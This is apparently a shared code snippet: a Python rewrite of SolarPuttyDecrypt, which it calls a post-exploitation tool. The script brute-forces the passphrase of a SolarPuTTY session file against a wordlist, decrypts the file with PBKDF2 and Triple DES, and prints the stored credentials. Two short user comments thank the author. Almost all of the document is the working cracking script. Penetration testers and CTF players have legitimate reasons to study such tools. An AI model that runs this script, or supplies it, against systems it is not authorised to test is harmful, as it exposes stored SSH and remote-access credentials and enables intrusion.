SolarPuTTYDecrypt: A post-exploitation tool to decrypt SolarPutty's sessions files, rewritten in Python. Original Author: Paolo Stagno (@Void_Sec - voidsec.com)

SolarPuttyDecrypt.py

import base64
import sys
from Crypto.Cipher import DES3
from Crypto.Protocol.KDF import PBKDF2

def decrypt(passphrase, ciphertext):
    data = ''
    try:
        # Decode the base64 encoded ciphertext
        array = base64.b64decode(ciphertext)
        salt = array[:24]
        iv = array[24:32]
        encrypted_data = array[48:]

        # Derive the key using PBKDF2
        key = PBKDF2(passphrase, salt, dkLen=24, count=1000)

        # Create the Triple DES cipher in CBC mode
        cipher = DES3.new(key, DES3.MODE_CBC, iv)

        # Decrypt the data
        decrypted_data = cipher.decrypt(encrypted_data)

        # Remove padding (PKCS7 padding)
        padding_len = decrypted_data[-1]
        decrypted_data = decrypted_data[:-padding_len]

        data = ''.join(chr(c) for c in decrypted_data if chr(c).isascii())

    except Exception as e:
        print(f'Error: {e}')

    return data

if len(sys.argv) < 3:
    print(f'Usage: {sys.argv[0]} putty_session.dat wordlist.txt')
    exit(1)

with open(sys.argv[1]) as f:
    cipher = f.read()

with open(sys.argv[2]) as passwords:
    for i, password in enumerate(passwords):
        password = password.strip()
        decrypted = decrypt(password, cipher)
        print(f'[{i}] {password=}', end='\r')
        if 'Credentials' in decrypted:
            print(f'\r[{i}] {password=} {" " * 10}')
            print()
            print(decrypted)
            break

More info:

• Github: SolarPuttyDecrypt
• Blog: SolarPuttyDecrypt

Original Author: Paolo Stagno (@Void_Sec - voidsec.com)

Tested with:

➜ pip freeze | sls crypto

cryptography==41.0.5
pycryptodome==3.21.0

oh thank god, i was banging my head against the wall trying to use dotnet

Thank the lord